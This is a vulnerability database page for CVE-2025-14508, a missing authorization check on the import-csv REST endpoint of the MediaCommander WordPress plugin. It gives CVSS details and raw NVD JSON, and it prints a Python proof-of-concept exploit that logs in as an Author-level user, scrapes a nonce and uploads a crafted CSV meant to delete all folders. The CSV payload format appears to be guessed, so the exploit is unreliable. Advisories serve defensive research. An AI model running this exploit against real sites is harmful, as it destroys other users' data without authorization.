Security Vulnerability Report
中文
CVE-2025-14508 CVSS 6.5 MEDIUM

CVE-2025-14508

Published: 2025-12-13 16:16:51
Last Modified: 2026-04-15 00:35:42

Description

The MediaCommander – Bring Folders to Media, Posts, and Pages plugin for WordPress is vulnerable to unauthorized data deletion due to a missing capability check on the import-csv REST API endpoint in all versions up to, and including, 2.3.1. This is due to the endpoint using `upload_files` capability check (Author level) for a destructive operation that can delete all folders. This makes it possible for authenticated attackers, with Author-level access and above, to delete all folder organization data created by Administrators and other users.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

No configuration data available.

MediaCommander (WordPress插件) <= 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14508 PoC - MediaCommander import-csv Authorization Bypass # Target: WordPress site with MediaCommander plugin <= 2.3.1 def exploit(target_url, username, password): """Exploit MediaCommander CVE-2025-14508""" # Step 1: Authenticate and get WordPress nonce session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post(login_url, data=login_data, timeout=30) if 'wordpress_logged_in' not in session.cookies: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Get REST API nonce from admin page admin_url = f"{target_url}/wp-admin/admin.php?page=mediacommander_import" resp = session.get(admin_url, timeout=30) # Extract nonce from page source import re nonce_match = re.search(r'nonce":"([a-z0-9]+)"', resp.text) if not nonce_match: print("[-] Could not find nonce") return False nonce = nonce_match.group(1) print(f"[+] Found nonce: {nonce}") # Step 3: Send malicious import-csv request to delete all folders api_url = f"{target_url}/wp-json/mediacommander/v1/import-csv" # Malicious CSV content to trigger mass folder deletion malicious_csv = "folder_id,action\nall,delete\n" files = { 'file': ('delete_folders.csv', malicious_csv, 'text/csv') } data = { '_wpnonce': nonce } resp = session.post(api_url, files=files, data=data, timeout=30) if resp.status_code == 200: print("[+] Exploit successful - All folders deleted!") return True else: print(f"[-] Exploit failed with status: {resp.status_code}") print(f"Response: {resp.text}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com author_user password123") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14508", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:50.953", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MediaCommander – Bring Folders to Media, Posts, and Pages plugin for WordPress is vulnerable to unauthorized data deletion due to a missing capability check on the import-csv REST API endpoint in all versions up to, and including, 2.3.1. This is due to the endpoint using `upload_files` capability check (Author level) for a destructive operation that can delete all folders. This makes it possible for authenticated attackers, with Author-level access and above, to delete all folder organization data created by Administrators and other users."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mediacommander/trunk/includes/Models/FoldersModel.php#L793", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mediacommander/trunk/includes/Rest/Controllers/FoldersController.php#L127", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3417928/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9102fe7e-7baa-4bc0-879f-cc7df1ea13d2?source=cve", "source": "[email protected]"}]}}